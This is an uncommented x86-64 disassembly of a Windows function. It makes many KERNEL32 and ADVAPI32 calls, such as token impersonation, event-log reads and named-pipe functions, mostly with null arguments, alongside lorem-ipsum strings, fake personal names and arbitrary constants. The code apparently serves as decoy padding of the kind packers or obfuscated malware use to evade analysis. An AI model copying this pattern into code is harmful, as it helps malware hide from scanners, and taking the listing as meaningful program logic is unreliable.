mov edx, dword [rax]
mov rax, qword [0x004ca730]
mov dword [rax], edx
lea rax, [rsp + 0xa4]
mov r8, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x50]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x100]
call fcn.00413631
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x5c55
jne 0x404b40
mov rdi, qword [0x004ca490]
mov rax, qword [0x004ca1b0]
mov edx, dword [rdi]
mov dword [rax], edx
mov rax, qword [0x004cabb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1d0]
mov rsi, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
call r15
mov rax, qword [0x004ca3d0]
mov rbx, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rax], 0x17adda5
call rbx
mov rax, qword [0x004ca9a0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004cad70]
mov edx, dword [rdi]
mov rdi, qword [str.7U5]
mov dword [rcx], eax
mov rax, qword [0x004ca6d0]
mov ecx, 0xf2929b2
mov dword [rax], 0xf2232cd5
mov rax, qword [0x004caf20]
mov dword [rax], edx
mov rax, qword [0x004caf30]
mov dword [rax], 0xcc2142df
mov rax, qword [0x004caad0]
mov dword [rax], 0x759495d5
mov rax, qword [0x004ca500]
mov edx, dword [rax]
mov rax, qword [0x004caeb0]
mov dword [rax], edx
mov rax, qword [0x004ca800]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cac50]
mov dword [rax], 0x662f99db
call fcn.00414620
mov rdx, qword [0x004ca1c0]
mov rbp, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.KeonGradyI
mov dword [rdx], eax
call rbp
mov rax, qword [0x004ca420]
mov rdi, qword [0x004cad60]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca570]
mov edx, dword [rax]
mov rax, qword [0x004ca580]
mov dword [rax], edx
call rbx
mov r10, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov qword [rsp + 0x58], r10
call r10
xor r9d, r9d
xor r8d, r8d
mov r12, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca6e0]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004ca390]
mov r13, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov eax, dword [rax]
mov dword [rbx], eax
call r13
mov rax, qword [0x004ca640]
mov ecx, 0x5d24eb85
mov dword [rax], 0xa5fd9eec
call fcn.00414620
mov rdx, qword [0x004caed0]
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor ecx, ecx
call rdi
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r14
mov rax, qword [0x004ca6c0]
mov r8, qword [0x004ca740]
xor ecx, ecx
mov dword [rax], 0x48b612c8
mov rax, qword [0x004caa90]
mov edx, dword [rax]
mov rax, qword [0x004cab00]
mov dword [rax], edx
mov edx, dword [r8]
mov rax, qword [0x004ca9d0]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor edx, edx
mov rbx, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
call rbx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca1f0]
mov rdx, qword [0x004cad70]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r14
xor ecx, ecx
call rdi
mov r11, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.GraycePowlowski
lea rcx, str.Qui_temporibus_quisquam_possimus_velit
mov qword [rsp + 0x40], r11
call r11
mov rax, qword [0x004cac20]
mov ecx, 0xbc7d2c60
mov dword [rax], 0xec4204b3
call fcn.00414620
mov rdx, qword [0x004ca720]
mov dword [rdx], eax
mov rax, qword [0x004ca610]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caec0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca6a0]
lea rcx, str.Deserunt_sint_maiores_corporis_amet_soluta
mov edx, dword [rax]
mov rax, qword [0x004cae20]
mov dword [rax], edx
mov rax, qword [0x004ca5f0]
mov dword [rax], 0x89344422
mov rax, qword [0x004ca600]
mov edx, dword [rax]
mov rax, qword [0x004ca790]
mov dword [rax], edx
call rbp
mov rax, qword [0x004cadb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae70]
mov r8, qword [0x004ca740]
mov dword [rdx], eax
mov rax, qword [0x004caa80]
mov dword [r8], 0x9ed115ae
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad30]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rdi
mov rax, qword [0x004cadb0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caab0]
mov dword [rax], edx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov rax, qword [0x004ca9f0]
mov rcx, qword [0x004cac20]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r14
xor ecx, ecx
call rsi
mov ecx, 0x5ff618ad
call fcn.00414620
mov r14, qword [0x004cac00]
xor ecx, ecx
mov dword [r14], eax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca7c0]
mov rsi, qword [0x004ca620]
mov dword [rdx], eax
mov rax, qword [0x004caac0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004cad10]
mov dword [rax], edx
xor edx, edx
call r12
mov ecx, 0x209ff4c6
call fcn.00414620
mov rdx, qword [0x004cad70]
mov r13, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.In_sit_vero_et_veritatis_consequatur_necessitatibus_cumque_et_occaecati_hic_necessitatibus
mov dword [rdx], eax
mov rax, qword [0x004ca5d0]
xor edx, edx
mov eax, dword [rax]
mov dword [rsi], eax
call r13
xor edx, edx
xor ecx, ecx
call rbx
xor r8d, r8d
xor edx, edx
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rsi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rsi
xor ecx, ecx
call rdi
mov r11, qword [rsp + 0x40]
lea rdx, str.PreciousCollier
lea rcx, str.KadeKoss
call r11
mov rax, qword [0x004ca610]
mov rcx, qword [str.7U5]
mov edx, dword [rax]
mov rax, qword [0x004ca9e0]
mov dword [rax], edx
mov rax, qword [0x004ca430]
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.MrOrvilleOlson
call rbp
mov rax, qword [0x004ca700]
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x004ca390]
mov dword [rax], 0x99e6bae8
mov rax, qword [0x004cabc0]
mov dword [rax], 0xf464d4d9
mov rax, qword [0x004ca1f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca5e0]
mov r10, qword [rsp + 0x58]
xor ecx, ecx
mov dword [rdx], eax
call r10
mov rax, qword [0x004caad0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca670]
mov dword [rax], edx
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
call rdi
mov ecx, 0xb440e5ef
call fcn.00414620
mov rdi, qword [0x004ca510]
xor edx, edx
lea rcx, str.Ipsa_rerum_odio_inventore_adipisci_dolorem_quam_et_dolores_fugit_ea
mov dword [rdi], eax
call r13
mov rax, qword [0x004cae50]
mov rdx, qword [0x004cad60]
mov ecx, dword [rdi]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cac10]
mov ecx, 0x2fa178e6
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cadf0]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor edx, edx
xor ecx, ecx
call rbx
xor r8d, r8d
xor ecx, ecx
xor edx, edx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca320]
mov edx, dword [rax]
mov rax, qword [0x004ca310]
mov dword [rax], edx
mov rax, qword [0x004ca570]
mov dword [rax], 0xbeeb2c05
mov rax, qword [rsp + 0x108]
mov r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x100]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm0
mov rax, qword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x90], rax
call fcn.00401560
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x89a
jle 0x405229
mov rsi, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Aut_numquam_dolor_provident_rerum_illo_aut_voluptate_harum
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov ecx, 0xb3bb605b
call fcn.00414620
mov rbx, qword [0x004caa80]
mov r13, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rbx], eax
call r13
mov rax, qword [0x004cade0]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [0x004ca700]
mov rdi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov rbp, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cab00]
mov r11, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov dword [rax], 0x60981efb
mov rax, qword [0x004ca9a0]
mov qword [rsp + 0x68], r11
mov eax, dword [rax]
mov dword [rbx], eax
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004ca810]
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac50]
mov dword [rax], edx
mov rax, qword [0x004ca2a0]
mov dword [rax], 0x5f69c975
call rbx
mov rax, qword [0x004ca5b0]
mov ecx, 0x2915b5f2
mov dword [rax], 0xece91c5c
call fcn.00414620
mov rdx, qword [0x004cae10]
mov rdi, qword [0x004cac40]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov dword [rdx], eax
mov rax, qword [0x004cabe0]
xor edx, edx
mov eax, dword [rax]
mov dword [rdi], eax
call r12
mov ecx, 0xa6e6a929
call fcn.00414620
mov rdx, qword [0x004ca580]
mov dword [rdi], 0xd5f66e7d
mov dword [rdx], eax
mov rax, qword [0x004caa30]
mov edx, dword [rax]
mov rax, qword [0x004ca7a0]
mov dword [rax], edx
mov rax, qword [0x004caed0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1a0]
mov ecx, 0x3233babf
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca430]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca690]
mov dword [rax], 0x81a064c2
mov rax, qword [0x004ca300]
mov ecx, dword [rax]
call fcn.00414620
mov r14, qword [0x004caa60]
mov ecx, 0xb2be442a
mov dword [r14], eax
call fcn.00414620
mov rdx, qword [0x004ca3c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caaf0]
mov edx, dword [rax]
mov rax, qword [0x004ca550]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call r13
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004ca610]
mov rdi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rax], 0x6d8a1390
mov rax, qword [0x004ca3a0]
mov edx, dword [rax]
mov rax, qword [0x004ca770]
mov dword [rax], edx
call rdi
mov r10, qword [0x004cae60]
mov rax, qword [0x004ca570]
xor ecx, ecx
mov edx, dword [r10]
mov dword [rax], edx
call r13
lea rcx, str.Ea_expedita_eos_tempore
call rsi
mov rax, qword [0x004ca2b0]
xor ecx, ecx
mov dword [rax], 0xbe240126
call rbx
lea rcx, str.DestinyGottliebDVM
call rsi
xor ecx, ecx
call r13
xor ecx, ecx
call rbx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call r13
lea r8, str.Sunt_quam_odio_a
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_OpenEventA]
call r15
mov ecx, 0xb2f43947
call fcn.00414620
xor ecx, ecx
mov dword [r14], eax
call rdi
mov rax, qword [0x004ca5c0]
mov rcx, qword [0x004caa80]
lea rdx, str.DrKrystinaJohns
mov r14, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca9e0]
lea rcx, str.Asperiores_omnis_facilis_incidunt
mov dword [rax], 0x4ef09edb
call r14
mov rax, qword [0x004ca310]
lea rcx, str.MrChelseyFay
mov dword [rax], 0xe17e4d77
call rsi
lea rcx, str.Modi_dicta_hic_libero_ut_asperiores
call rsi
xor ecx, ecx
call rbx
mov ecx, 0x928be3a0
call fcn.00414620
mov rsi, qword [0x004cadb0]
mov dword [rsi], eax
mov rax, qword [0x004ca690]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca2a0]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rsi], eax
mov rsi, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
xor edx, edx
xor ecx, ecx
call rbp
mov ecx, 0x13f112d5
call fcn.00414620
mov rdx, qword [0x004caed0]
mov r11, qword [rsp + 0x68]
xor ecx, ecx
mov dword [rdx], eax
call r11
mov r10, qword [0x004cae60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004caec0]
mov eax, dword [r10]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov r10, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.SibylSchultzII
mov qword [rsp + 0x68], r10
call r10
lea r8, str.Est_harum_beatae_rerum
xor edx, edx
xor ecx, ecx
call r15
mov ecx, 0xc2b1626
call fcn.00414620
mov rdx, qword [0x004ca5f0]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca640]
lea rdx, str.MrFredPowlowski
lea rcx, str.Atque_itaque_harum_quas_aut
mov dword [rax], 0xcc3a515
call r14
mov rax, qword [0x004ca210]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca780]
mov dword [rax], edx
call rbx
mov rax, qword [0x004cac90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca350]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caed0]
xor edx, edx
mov dword [rax], 0xbbefd0dc
call rbp
mov rax, qword [str.7U5]
xor ecx, ecx
mov dword [rax], 0x95dff12
mov rax, qword [0x004ca6b0]
mov dword [rax], 0x99fc2fb
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004ca200]
mov dword [rax], edx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca5c0]
mov edx, dword [rax]
mov rax, qword [0x004cad50]
mov dword [rax], edx
mov rax, qword [0x004caa70]
mov edx, dword [rax]
mov rax, qword [0x004cadc0]
mov dword [rax], edx
mov rax, qword [0x004cae90]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca250]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call rbx
mov rax, qword [0x004cab50]
xor edx, edx
xor ecx, ecx
mov r14, qword [0x004ca260]
mov eax, dword [rax]
mov dword [r14], eax
call r12
mov rax, qword [0x004cadb0]
xor ecx, ecx
mov dword [rax], 0xb4ea5d41
call r13
mov rax, qword [0x004ca300]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xac2fe828
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cabe0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad90]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca270]
mov dword [rax], 0xae4e52d3
mov rax, qword [0x004ca800]
mov dword [rax], 0xcfd192ea
mov rax, qword [0x004cac00]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca390]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004cab00]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4bc51fa1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
xor edx, edx
xor ecx, ecx
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rax, qword [0x004ca1b0]
mov rbx, qword [0x004caec0]
xor ecx, ecx
mov edx, dword [rax]
mov dword [rax], 0xead8a2a8
mov rax, qword [0x004cab20]
mov dword [rbx], edx
mov rdx, qword [0x004cabb0]
mov dword [rax], 0xb58a7ce
mov rbx, qword [0x004ca610]
mov rax, qword [0x004ca1f0]
mov dword [rdx], 0xd8599eb2
mov edx, dword [rbx]
mov rbx, qword [0x004ca5e0]
mov eax, dword [rax]
mov dword [r14], edx
mov rdx, qword [0x004cad80]
mov dword [rbx], eax
mov rax, qword [0x004ca5a0]
mov dword [rdx], 0x9baae6f7
mov dword [rax], 0x1e192569
call rdi
mov rax, qword [0x004caa50]
mov ecx, 0xc5072e2a
mov dword [rbx], 0x2d264c0
mov edx, dword [rax]
mov rax, qword [0x004ca9b0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca1d0]
lea rcx, str.MaverickKshlerin
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
xor edx, edx
mov r10, qword [rsp + 0x68]
lea rcx, str.MrsHavenVolkman
call r10
xor ecx, ecx
call rdi
mov ecx, 0xe6be38ad
call fcn.00414620
mov rdx, qword [0x004ca4d0]
mov dword [rdx], eax
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret